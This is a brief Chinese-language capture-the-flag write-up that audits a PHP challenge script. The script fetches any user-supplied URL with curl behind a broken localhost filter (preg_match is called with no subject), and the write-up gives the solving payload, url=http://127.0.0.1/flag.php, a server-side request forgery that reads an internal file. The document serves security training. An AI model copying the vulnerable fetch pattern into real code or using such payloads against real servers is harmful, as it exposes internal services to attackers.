依旧代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//解析一个URL并返回一个关联数组,包含在 URL 中出现的各种组成部分。
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https')
{
if(!preg_match('/localhost|127.0.0/'))
//正则如果没有匹配localhost或者127.0.0,这里都没要匹配的字符串变量...默认肯定为真
{
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
所以只需要满足http或者https前缀就行了,直接构造
#POST请求 url=http://127.0.0.1/flag.php